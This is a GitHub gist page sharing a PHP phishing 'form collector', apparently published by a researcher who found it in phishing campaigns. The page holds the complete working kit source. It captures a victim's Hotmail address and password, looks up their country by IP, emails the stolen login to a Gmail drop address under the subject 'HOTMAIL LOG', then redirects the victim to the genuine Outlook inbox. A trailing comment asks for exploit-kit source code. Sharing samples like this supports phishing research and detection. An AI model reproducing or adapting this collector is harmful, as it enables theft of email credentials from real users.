Created
November 20, 2017 21:39
-
-
Save brad-anton/4d511df51a56465755ac1580dbdc4937 to your computer and use it in GitHub Desktop.
a better form collector found to be used in phishing campaigns
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
session_start(); | |
$country = visitor_country(); | |
$ip = $_SERVER['REMOTE_ADDR']; | |
$login = $_SESSION['clientemail']; | |
$passwd = $_POST['passwd']; | |
$sender = 'Hotmail-3D@serverX.com'; | |
$over = 'https://outlook.live.com/owa/?path=/mail/inbox'; | |
$data = " | |
------------ Created By Techroins------------ | |
E-mail ID : $login | |
Password : $passwd | |
Country: $country | |
IP : $ip | |
------------ Created By Techroins ------------ | |
"; | |
$mailsubj = "HOTMAIL LOG"; | |
$emailusr = 'bankswiss003@gmail.com'; | |
if (empty($login) || empty($passwd)) { | |
header( "Location: index.php?login=$login&.rand=13InboxLight.aspx?n=1774256418&fid=4#n=1252899642&fid=1&fav=1" ); | |
} | |
else { | |
mail($emailusr, $mailsubj, $data); | |
header("Location: $over"); | |
} | |
function visitor_country() | |
{ | |
$client = @$_SERVER['HTTP_CLIENT_IP']; | |
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; | |
$remote = $_SERVER['REMOTE_ADDR']; | |
$result = "Unknown"; | |
if(filter_var($client, FILTER_VALIDATE_IP)) | |
{ | |
$ip = $client; | |
} | |
elseif(filter_var($forward, FILTER_VALIDATE_IP)) | |
{ | |
$ip = $forward; | |
} | |
else | |
{ | |
$ip = $remote; | |
} | |
$ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip)); | |
if($ip_data && $ip_data->geoplugin_countryName != null) | |
{ | |
$result = $ip_data->geoplugin_countryName; | |
} | |
return $result; | |
} | |
function visitor_countryCode() | |
{ | |
$client = @$_SERVER['HTTP_CLIENT_IP']; | |
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; | |
$remote = $_SERVER['REMOTE_ADDR']; | |
$result = "Unknown"; | |
if(filter_var($client, FILTER_VALIDATE_IP)) | |
{ | |
$ip = $client; | |
} | |
elseif(filter_var($forward, FILTER_VALIDATE_IP)) | |
{ | |
$ip = $forward; | |
} | |
else | |
{ | |
$ip = $remote; | |
} | |
$ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip)); | |
if($ip_data && $ip_data->geoplugin_countryCode != null) | |
{ | |
$result = $ip_data->geoplugin_countryCode; | |
} | |
return $result; | |
} | |
function visitor_regionName() | |
{ | |
$client = @$_SERVER['HTTP_CLIENT_IP']; | |
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; | |
$remote = $_SERVER['REMOTE_ADDR']; | |
$result = "Unknown"; | |
if(filter_var($client, FILTER_VALIDATE_IP)) | |
{ | |
$ip = $client; | |
} | |
elseif(filter_var($forward, FILTER_VALIDATE_IP)) | |
{ | |
$ip = $forward; | |
} | |
else | |
{ | |
$ip = $remote; | |
} | |
$ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip)); | |
if($ip_data && $ip_data->geoplugin_regionName != null) | |
{ | |
$result = $ip_data->geoplugin_regionName; | |
} | |
return $result; | |
} | |
function visitor_continentCode() | |
{ | |
$client = @$_SERVER['HTTP_CLIENT_IP']; | |
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; | |
$remote = $_SERVER['REMOTE_ADDR']; | |
$result = "Unknown"; | |
if(filter_var($client, FILTER_VALIDATE_IP)) | |
{ | |
$ip = $client; | |
} | |
elseif(filter_var($forward, FILTER_VALIDATE_IP)) | |
{ | |
$ip = $forward; | |
} | |
else | |
{ | |
$ip = $remote; | |
} | |
$ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip)); | |
if($ip_data && $ip_data->geoplugin_continentCode != null) | |
{ | |
$result = $ip_data->geoplugin_continentCode; | |
} | |
return $result; | |
} | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
do u by any chance have a souce code for RIG ?